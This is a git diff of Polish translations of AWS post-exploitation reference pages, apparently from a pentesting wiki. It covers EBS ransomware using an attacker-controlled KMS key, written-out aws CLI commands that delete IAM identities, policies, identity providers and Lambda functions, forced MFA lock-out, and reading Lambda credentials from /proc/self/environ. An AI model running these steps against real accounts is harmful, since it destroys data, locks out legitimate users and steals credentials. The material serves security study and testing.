### Udostępnij AMI
|
||||
### Udostępnianie AMI
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Wyszukiwanie wrażliwych informacji w publicznych i prywatnych AMIs
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel to narzędzie zaprojektowane do **wyszukiwania wrażliwych informacji w publicznych lub prywatnych Amazon Machine Images (AMIs)**. Automatyzuje proces uruchamiania instancji z docelowych AMIs, montowania ich woluminów oraz skanowania pod kątem potencjalnych secrets lub wrażliwych danych.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel to narzędzie zaprojektowane do **wyszukiwania wrażliwych informacji w publicznych lub prywatnych Amazon Machine Images (AMIs)**. Automatyzuje proces uruchamiania instancji z docelowych AMIs, montowania ich wolumenów oraz skanowania w poszukiwaniu potencjalnych secrets lub wrażliwych danych.
|
||||
|
||||
### Udostępnianie EBS Snapshot
|
||||
### Udostępnij EBS Snapshot
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Dowód koncepcji podobny do demonstracji Ransomware przedstawionej w notatkach dotyczących S3 post-exploitation. KMS powinien zostać przemianowany na RMS (Ransomware Management Service), biorąc pod uwagę, jak łatwo można go użyć do szyfrowania różnych usług AWS.
|
||||
Dowód koncepcji podobny do demonstracji Ransomware przedstawionej w notatkach dotyczących post-exploitation S3. KMS powinien zostać przemianowany na RMS for Ransomware Management Service ze względu na to, jak łatwo można go użyć do szyfrowania różnych usług AWS.
|
||||
|
||||
Najpierw z konta 'attacker' AWS utwórz customer managed key w KMS. W tym przykładzie pozwolę, aby AWS zarządzał danymi klucza za mnie, ale w realistycznym scenariuszu złośliwy aktor zachowałby dane klucza poza kontrolą AWS. Zmień key policy tak, aby dowolny AWS account Principal mógł używać klucza. Dla tej key policy nazwa konta brzmiała 'AttackSim', a reguła polityki zezwalająca na pełen dostęp nazywa się 'Outside Encryption'
|
||||
Najpierw z konta AWS 'attacker' utwórz customer managed key w KMS. W tym przykładzie pozwolimy AWS zarządzać danymi klucza, ale w realistycznym scenariuszu złośliwy aktor zachowałby dane klucza poza kontrolą AWS. Zmień key policy, aby pozwolić dowolnemu AWS account Principal na używanie klucza. W tej key policy konto miało nazwę 'AttackSim', a reguła polityki pozwalająca na pełny dostęp nazywa się 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -337,7 +363,7 @@ Najpierw z konta 'attacker' AWS utwórz customer managed key w KMS. W tym przyk
|
||||
]
|
||||
}
|
||||
```
|
||||
Reguła polityki klucza musi mieć włączone następujące uprawnienia, aby umożliwić użycie jej do zaszyfrowania woluminu EBS:
|
||||
Reguła polityki klucza musi mieć włączone następujące uprawnienia, aby umożliwić jej użycie do zaszyfrowania wolumenu EBS:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -345,21 +371,21 @@ Reguła polityki klucza musi mieć włączone następujące uprawnienia, aby umo
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Mając teraz publicznie dostępny klucz do wykorzystania. Możemy użyć konta 'victim', które ma uruchomione instancje EC2 z dołączonymi niezaszyfrowanymi woluminami EBS. To woluminy EBS konta 'victim' są celem szyfrowania; atak zakłada przejęcie konta AWS o wysokich uprawnieniach.
|
||||
Mając publicznie dostępny klucz do użycia. Możemy użyć konta 'victim', na którym uruchomiono kilka instancji EC2 z dołączonymi niezaszyfrowanymi wolumenami EBS. Wolumeny EBS tego konta 'victim' są celem szyfrowania — ten atak zakłada przejęcie konta AWS o wysokich uprawnieniach.
|
||||
|
||||
 
|
||||
|
||||
Podobnie jak w przykładzie S3 ransomware. Ten atak utworzy kopie dołączonych woluminów EBS przy użyciu snapshotów, użyje publicznie dostępnego klucza z konta 'attacker' do zaszyfrowania nowych woluminów EBS, następnie odłączy oryginalne woluminy EBS od instancji EC2 i je usunie, a na końcu usunie snapshoty użyte do utworzenia nowych zaszyfrowanych woluminów EBS. 
|
||||
Podobnie jak w przykładzie ransomware dla S3. Ten atak utworzy kopie dołączonych wolumenów EBS za pomocą snapshotów, użyje publicznie dostępnego klucza z konta 'attacker' do zaszyfrowania nowych wolumenów EBS, następnie odłączy oryginalne wolumeny EBS od instancji EC2 i je usunie, a na końcu usunie snapshoty użyte do utworzenia nowych zaszyfrowanych wolumenów EBS. 
|
||||
|
||||
W efekcie w koncie pozostaną tylko zaszyfrowane woluminy EBS.
|
||||
Efektem jest, że w koncie pozostaną wyłącznie zaszyfrowane wolumeny EBS.
|
||||
|
||||
|
||||
|
||||
Warto też zauważyć, że skrypt zatrzymał instancje EC2, aby odłączyć i usunąć oryginalne woluminy EBS. Oryginalne niezaszyfrowane woluminy zostały teraz usunięte.
|
||||
Warto też zauważyć, że skrypt zatrzymał instancje EC2, żeby odłączyć i usunąć oryginalne wolumeny EBS. Oryginalne, niezaszyfrowane wolumeny zostały teraz usunięte.
|
||||
|
||||
|
||||
|
||||
Następnie wróć do polityki klucza na koncie 'attacker' i usuń regułę 'Outside Encryption' z polityki klucza.
|
||||
Następnie wróć do polityki klucza na koncie 'attacker' i usuń regułę polityki 'Outside Encryption' z polityki klucza.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -430,15 +456,15 @@ Następnie wróć do polityki klucza na koncie 'attacker' i usuń regułę 'Outs
|
||||
]
|
||||
}
|
||||
```
|
||||
Odczekaj chwilę, aby nowo ustawiona key policy się rozpowszechniła. Następnie wróć do konta 'victim' i spróbuj podłączyć jeden z nowo zaszyfrowanych wolumenów EBS. Zauważysz, że możesz dołączyć ten wolumen.
|
||||
Poczekaj chwilę, aż nowo ustawiona polityka klucza się rozpropaguje. Następnie wróć do konta 'victim' i spróbuj podpiąć jeden z nowo zaszyfrowanych wolumenów EBS. Zobaczysz, że możesz podłączyć wolumen.
|
||||
|
||||
 
|
||||
|
||||
Jednak gdy spróbujesz rzeczywiście uruchomić ponownie instancję EC2 z zaszyfrowanym wolumenem EBS, operacja nie powiedzie się i instancja przejdzie ze stanu 'pending' z powrotem do stanu 'stopped' na stałe, ponieważ dołączony wolumen EBS nie może zostać odszyfrowany przy użyciu key — key policy już na to nie zezwala.
|
||||
Jednak gdy spróbujesz faktycznie uruchomić instancję EC2 z powrotem z zaszyfrowanym wolumenem EBS, nie powiedzie się to i instancja przejdzie ze stanu 'pending' z powrotem do 'stopped' na stałe, ponieważ dołączonego wolumenu EBS nie da się odszyfrować za pomocą klucza — polityka klucza już na to nie zezwala.
|
||||
|
||||
 
|
||||
|
||||
This the python script used. It takes AWS creds for a 'victim' account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted 'victim' account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day.
|
||||
Oto użyty skrypt python. Przyjmuje AWS creds dla konta 'victim' oraz publicznie dostępną wartość ARN dla klucza, który ma być użyty do szyfrowania. Skrypt zrobi zaszyfrowane kopie WSZYSTKICH dostępnych wolumenów EBS dołączonych do WSZYSTKICH instancji EC2 w docelowym koncie AWS, następnie zatrzyma każdą instancję EC2, odłączy oryginalne wolumeny EBS, usunie je, a na końcu usunie wszystkie snapshoty użyte podczas procesu. To pozostawi w docelowym koncie 'victim' jedynie zaszyfrowane wolumeny EBS. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM, JEST ON DESTRUKCYJNY I USUWA WSZYSTKIE ORYGINALNE WOLUMENY EBS. Możesz je odzyskać używając wykorzystanego klucza KMS i przywrócić do stanu pierwotnego za pomocą snapshotów, ale chcę, abyś był świadomy, że w ostatecznym rozrachunku jest to PoC ransomware.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -557,6 +583,6 @@ main()
|
||||
```
|
||||
## Źródła
|
||||
|
||||
- [Pentest Partners – Jak przesyłać pliki w AWS przy użyciu SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+48
-22
@@ -10,15 +10,15 @@ Więcej informacji o dostępie IAM:
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Problem "Confused Deputy"
|
||||
## Problem zdezorientowanego zastępcy
|
||||
|
||||
Jeśli **pozwolisz zewnętrznemu kontu (A)** na dostęp do **roli** w Twoim koncie, prawdopodobnie będziesz mieć **0 widoczności** kto dokładnie ma dostęp do tego zewnętrznego konta. To jest problem, ponieważ jeśli inne zewnętrzne konto (B) ma dostęp do konta zewnętrznego (A), to możliwe jest, że **B również będzie w stanie uzyskać dostęp do Twojego konta**.
|
||||
Jeśli **pozwolisz zewnętrznemu kontu (A)** na dostęp do **roli** w Twoim koncie, prawdopodobnie będziesz mieć **0 widoczności** kto dokładnie może uzyskać dostęp do tego zewnętrznego konta. To jest problem, ponieważ jeśli inne zewnętrzne konto (B) może uzyskać dostęp do zewnętrznego konta (A), możliwe że **B również będzie mogło uzyskać dostęp do Twojego konta**.
|
||||
|
||||
Dlatego, pozwalając zewnętrznemu kontu na dostęp do roli w Twoim koncie, możesz określić `ExternalId`. Jest to "sekretny" ciąg, który konto zewnętrzne (A) **musi podać**, aby **assume the role w Twojej organizacji**. Ponieważ **zewnętrzne konto B nie będzie znać tego ciągu**, nawet jeśli ma dostęp do A, **nie będzie mogło uzyskać dostępu do Twojej roli**.
|
||||
Dlatego, przy udzielaniu zewnętrznemu kontu dostępu do roli w Twoim koncie, można określić `ExternalId`. Jest to "sekretny" ciąg znaków, który zewnętrzne konto (A) **musi podać**, aby **przyjąć rolę w Twojej organizacji**. Ponieważ zewnętrzne konto B nie będzie znało tego ciągu, nawet jeśli ma dostęp do A, **nie będzie w stanie uzyskać dostępu do Twojej roli**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Należy jednak pamiętać, że ten "sekret" `ExternalId` **nie jest sekretem** — każdy, kto może **odczytać IAM assume role policy**, będzie w stanie go zobaczyć. Ale dopóki konto zewnętrzne A zna go, a konto zewnętrzne **B go nie zna**, to **zapobiega to wykorzystywaniu A przez B do dostępu do Twojej roli**.
|
||||
Jednakże warto zauważyć, że ten "sekret" `ExternalId` **nie jest tajny** — każdy, kto potrafi **odczytać politykę IAM dotyczącą assume role**, będzie w stanie go zobaczyć. Ale dopóki zewnętrzne konto A go zna, a zewnętrzne konto **B go nie zna**, to **uniemożliwia B wykorzystanie A do dostępu do Twojej roli**.
|
||||
|
||||
Przykład:
|
||||
```json
|
||||
@@ -39,9 +39,9 @@ Przykład:
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Aby atakujący mógł wykorzystać confused deputy, będzie musiał w jakiś sposób sprawdzić, czy principals z bieżącego konta mogą podszywać się pod roles w innych kontach.
|
||||
> Aby atakujący mógł wykorzystać confused deputy, będzie musiał w jakiś sposób ustalić, czy podmioty (principals) bieżącego konta mogą podszywać się pod role w innych kontach.
|
||||
|
||||
### Nieoczekiwane relacje zaufania
|
||||
### Nieoczekiwane zaufania
|
||||
|
||||
#### Wildcard jako principal
|
||||
```json
|
||||
@@ -51,7 +51,7 @@ Przykład:
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Ta polityka **pozwala wszystkim podmiotom AWS** objąć tę rolę.
|
||||
Ta polityka **pozwala wszystkim AWS** na przejęcie roli.
|
||||
|
||||
#### Usługa jako podmiot
|
||||
```json
|
||||
@@ -62,9 +62,9 @@ Ta polityka **pozwala wszystkim podmiotom AWS** objąć tę rolę.
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Ta polityka **pozwala dowolnemu kontu** skonfigurować swój apigateway, aby wywołać tę funkcję Lambda.
|
||||
Ta polityka **pozwala dowolnemu kontu** skonfigurować swój apigateway, aby wywołać tę Lambdę.
|
||||
|
||||
#### S3 jako podmiot
|
||||
#### S3 jako principal
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
@@ -73,7 +73,7 @@ Ta polityka **pozwala dowolnemu kontu** skonfigurować swój apigateway, aby wyw
|
||||
}
|
||||
}
|
||||
```
|
||||
Jeżeli S3 bucket jest podany jako principal, ponieważ S3 buckets nie mają Account ID, jeśli **usunąłeś swój bucket i atakujący go utworzył** we własnym koncie, to mógłby to wykorzystać.
|
||||
Jeśli S3 bucket jest podany jako principal — ponieważ S3 buckety nie mają Account ID — to jeśli **usuniesz swój bucket, a attacker go utworzy** w swoim koncie, będą mogli to wykorzystać.
|
||||
|
||||
#### Nieobsługiwane
|
||||
```json
|
||||
@@ -84,10 +84,10 @@ Jeżeli S3 bucket jest podany jako principal, ponieważ S3 buckets nie mają Acc
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Powszechnym sposobem uniknięcia problemów typu Confused Deputy jest użycie warunku z `AWS:SourceArn` do sprawdzenia ARN pochodzenia. Jednak **niektóre usługi mogą tego nie wspierać** (np. CloudTrail według niektórych źródeł).
|
||||
Częstym sposobem uniknięcia problemów Confused Deputy jest użycie warunku z `AWS:SourceArn` do sprawdzenia ARN źródła. Jednakże, **niektóre usługi mogą tego nie obsługiwać** (np. CloudTrail według niektórych źródeł).
|
||||
|
||||
### Usuwanie poświadczeń
|
||||
Posiadając dowolne z poniższych uprawnień — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — aktor może usunąć klucze dostępu, profile logowania, klucze SSH, poświadczenia specyficzne dla usługi, profile instancji, certyfikaty lub publiczne klucze CloudFront albo odłączyć role od profili instancji. Takie działania mogą natychmiast zablokować uprawnionych użytkowników i aplikacje oraz spowodować denial-of-service lub utratę dostępu dla systemów, które polegają na tych poświadczeniach, dlatego te uprawnienia IAM muszą być ściśle ograniczone i monitorowane.
|
||||
### Credential Deletion
|
||||
Posiadając dowolne z następujących uprawnień — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — podmiot może usunąć klucze dostępu, profile logowania, klucze SSH, poświadczenia specyficzne dla usługi, profile instancji, certyfikaty lub publiczne klucze CloudFront, albo odłączyć role od profili instancji. Takie działania mogą natychmiast zablokować uprawnionych użytkowników i aplikacje oraz spowodować denial-of-service lub utratę dostępu dla systemów, które polegają na tych poświadczeniach, dlatego te uprawnienia IAM muszą być ściśle ograniczone i monitorowane.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
@@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Usuwanie tożsamości
|
||||
Z uprawnieniami takimi jak `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` lub `iam:RemoveUserFromGroup` aktor może usuwać użytkowników, role lub grupy — albo zmieniać członkostwo w grupie — usuwając tożsamości i powiązane ślady. Może to natychmiast przerwać dostęp dla osób i usług zależnych od tych tożsamości, powodując denial-of-service lub utratę dostępu, dlatego te akcje IAM muszą być ściśle ograniczone i monitorowane.
|
||||
Z uprawnieniami takimi jak `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` lub `iam:RemoveUserFromGroup` podmiot może usuwać użytkowników, role lub grupy — albo zmieniać członkostwo w grupie — usuwając tożsamości i powiązane ślady. Może to natychmiast przerwać dostęp dla osób i usług zależnych od tych tożsamości, powodując denial-of-service lub utratę dostępu, dlatego te akcje IAM muszą być ściśle ograniczone i monitorowane.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
@@ -114,8 +114,7 @@ aws iam delete-group \
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Z dowolnym z poniższych uprawnień — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — podmiot może usuwać lub odłączać polityki zarządzane/wbudowane, usuwać wersje polityk lub granice uprawnień oraz odłączać polityki od użytkowników, grup lub ról. To niszczy autoryzacje i może zmienić model uprawnień, powodując natychmiastową utratę dostępu lub denial-of-service dla podmiotów, które polegały na tych politykach, dlatego te akcje IAM muszą być ściśle ograniczone i monitorowane.
|
||||
Z którąkolwiek z następujących uprawnień — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — podmiot może usuwać lub odłączać polityki zarządzane/inline, usuwać wersje polityk lub granice uprawnień oraz odłączać polityki od użytkowników, grup lub ról. To niszczy uprawnienia i może zmienić model uprawnień, powodując natychmiastową utratę dostępu lub odmowę usługi dla tożsamości, które polegały na tych politykach, dlatego te akcje IAM muszą być ściśle ograniczone i monitorowane.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
@@ -127,8 +126,8 @@ aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Usunięcie tożsamości federacyjnej
|
||||
Dzięki uprawnieniom `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` i `iam:RemoveClientIDFromOpenIDConnectProvider` atakujący może usunąć dostawców tożsamości OIDC/SAML lub usunąć identyfikatory klientów. Powoduje to przerwanie uwierzytelniania federacyjnego, uniemożliwiając walidację tokenów i natychmiast odmawiając dostępu użytkownikom oraz usługom opierającym się na SSO, dopóki IdP lub konfiguracje nie zostaną przywrócone.
|
||||
### Usuwanie tożsamości federacyjnej
|
||||
Posiadając uprawnienia `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` oraz `iam:RemoveClientIDFromOpenIDConnectProvider`, aktor może usunąć dostawców tożsamości OIDC/SAML lub usunąć client IDs. To łamie uwierzytelnianie federacyjne, uniemożliwiając weryfikację tokenów i natychmiast odcinając dostęp użytkownikom i usługom polegającym na SSO, dopóki IdP lub konfiguracje nie zostaną przywrócone.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
@@ -139,7 +138,7 @@ aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Nieuprawniona aktywacja MFA
|
||||
Dzięki uprawnieniu `iam:EnableMFADevice`, atakujący może zarejestrować urządzenie MFA w tożsamości użytkownika, uniemożliwiając prawowitemu użytkownikowi zalogowanie się. Po włączeniu nieautoryzowanego MFA użytkownik może zostać zablokowany, dopóki urządzenie nie zostanie usunięte lub zresetowane (uwaga: jeśli zarejestrowanych jest kilka urządzeń MFA, do logowania wymagane jest tylko jedno, więc ten atak nie wpłynie na uniemożliwienie dostępu).
|
||||
Z użyciem `iam:EnableMFADevice` atakujący może zarejestrować MFA device w tożsamości użytkownika, uniemożliwiając prawowitemu użytkownikowi zalogowanie się. Po włączeniu nieautoryzowanego MFA device użytkownik może zostać zablokowany aż do usunięcia lub zresetowania urządzenia (uwaga: jeśli zarejestrowanych jest wiele MFA devices, do logowania wymagana jest tylko jedna, więc ten atak nie spowoduje odmowy dostępu).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
@@ -147,8 +146,8 @@ aws iam enable-mfa-device \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Manipulacja metadanymi certyfikatu/klucza
|
||||
Za pomocą `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` aktor może zmienić status lub metadane kluczy publicznych i certyfikatów. Oznaczając klucze/certyfikaty jako nieaktywne lub modyfikując odwołania, może przerwać uwierzytelnianie SSH, unieważnić walidacje X.509/TLS i natychmiast zakłócić działanie usług zależnych od tych poświadczeń, powodując utratę dostępu lub niedostępność usług.
|
||||
### Modyfikacja metadanych certyfikatów/kluczy
|
||||
Dzięki `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` aktor może zmienić status lub metadane kluczy publicznych i certyfikatów. Poprzez oznaczenie kluczy/certyfikatów jako nieaktywnych lub zmianę referencji mogą przerwać uwierzytelnianie SSH, unieważnić walidacje X.509/TLS i natychmiast zakłócić działanie usług zależnych od tych poświadczeń, powodując utratę dostępu lub dostępności.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
@@ -159,7 +158,34 @@ aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
## Referencje
|
||||
### `iam:Delete*`
|
||||
|
||||
Wildcard IAM iam:Delete* przyznaje możliwość usunięcia wielu rodzajów zasobów IAM — użytkowników, ról, grup, polityk, kluczy, certyfikatów, urządzeń MFA, wersji polityk itp. — i dlatego ma bardzo duży blast radius: podmiot z przydzielonym iam:Delete* może trwale zniszczyć tożsamości, poświadczenia, polityki i powiązane artefakty, usunąć audyt/dowody oraz spowodować przerwy w działaniu usług lub awarie operacyjne. Kilka przykładów to
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user --user-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role --role-name <RoleName>
|
||||
|
||||
# Delete a managed policy
|
||||
aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
|
||||
```
|
||||
### `iam:EnableMFADevice`
|
||||
|
||||
Podmiot, któremu przyznano uprawnienie iam:EnableMFADevice, może zarejestrować urządzenie MFA dla tożsamości w koncie, pod warunkiem że użytkownik nie miał już włączonego takiego urządzenia. Można to wykorzystać do zakłócenia dostępu użytkownika: gdy attacker zarejestruje urządzenie MFA, prawowity użytkownik może zostać zablokowany przed zalogowaniem się, ponieważ nie ma kontroli nad zarejestrowanym przez attackera urządzeniem MFA.
|
||||
|
||||
Ten atak polegający na odmowie dostępu działa tylko wtedy, gdy użytkownik nie miał zarejestrowanego urządzenia MFA; jeśli attacker zarejestruje urządzenie MFA dla tego użytkownika, prawowity użytkownik zostanie zablokowany we wszystkich procesach wymagających tego nowego MFA. Jeśli użytkownik już ma jedno lub więcej urządzeń MFA pod swoją kontrolą, dodanie urządzenia MFA kontrolowanego przez attackera nie zablokuje prawowitego użytkownika — może on nadal uwierzytelniać się przy użyciu dowolnego posiadanego wcześniej MFA.
|
||||
|
||||
Aby włączyć (zarejestrować) urządzenie MFA dla użytkownika, attacker mógłby uruchomić:
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
## Źródła
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
|
||||
+16
-10
@@ -12,13 +12,19 @@ For more information check:
|
||||
|
||||
### Exfilrtate Lambda Credentials
|
||||
|
||||
Lambda używa zmiennych środowiskowych do dostarczania poświadczeń w czasie wykonywania. Jeśli uzyskasz do nich dostęp (np. odczytując `/proc/self/environ` lub wykorzystując podatną funkcję), możesz ich użyć samodzielnie. Są przechowywane w domyślnych zmiennych `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, i `AWS_ACCESS_KEY_ID`.
|
||||
Lambda uses environment variables to inject credentials at runtime. If you can get access to them (by reading `/proc/self/environ` or using the vulnerable function itself), you can use them yourself. They live in the default variable names `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`.
|
||||
|
||||
Domyślnie będą miały uprawnienia do zapisu do grupy logów cloudwatch (jej nazwa jest przechowywana w `AWS_LAMBDA_LOG_GROUP_NAME`), jak również do tworzenia dowolnych grup logów; jednak funkcje lambda często mają dodatkowe uprawnienia przyznane w zależności od ich przeznaczenia.
|
||||
By default, these will have access to write to a cloudwatch log group (the name of which is stored in `AWS_LAMBDA_LOG_GROUP_NAME`), as well as to create arbitrary log groups, however lambda functions frequently have more permissions assigned based on their intended use.
|
||||
|
||||
### `lambda:Delete*`
|
||||
Atakujący z przypisanym uprawnieniem `lambda:Delete*` może usunąć funkcje Lambda, versions/aliases, layers, event source mappings oraz inne powiązane konfiguracje.
|
||||
```bash
|
||||
aws lambda delete-function \
|
||||
--function-name <LAMBDA_NAME>
|
||||
```
|
||||
### Steal Others Lambda URL Requests
|
||||
|
||||
Jeśli atakujący w jakiś sposób uzyska RCE wewnątrz Lambda, będzie mógł przechwytywać żądania HTTP innych użytkowników kierowane do tej funkcji. Jeśli żądania zawierają wrażliwe informacje (cookies, credentials...), będzie mógł je ukraść.
|
||||
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
@@ -26,7 +32,7 @@ aws-warm-lambda-persistence.md
|
||||
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
|
||||
Nadużywając Lambda Layers można także wykorzystać extensions do utrwalenia dostępu w lambda oraz do przechwytywania i modyfikowania żądań.
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
@@ -34,7 +40,7 @@ Nadużywając Lambda Layers można także wykorzystać extensions do utrwalenia
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
Wymuś uruchomienie funkcji Lambda poza ograniczonym VPC, aktualizując jej konfigurację z pustym VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Funkcja zacznie wtedy działać w zarządzanym przez Lambda obszarze sieciowym, odzyskując dostęp do internetu wychodzącego i omijając kontrole egress wymuszane przez prywatne podsieci VPC bez NAT.
|
||||
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
@@ -42,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
Wykorzystaj `lambda:PutRuntimeManagementConfig` do przypięcia funkcji do konkretnej wersji runtime (Manual) lub zamrożenia aktualizacji (FunctionUpdate). To zachowuje kompatybilność z złośliwymi layers/wrappers i może utrzymać funkcję na przestarzałym, podatnym runtime, co ułatwia exploitation i długoterminową persistence.
|
||||
Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
@@ -50,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
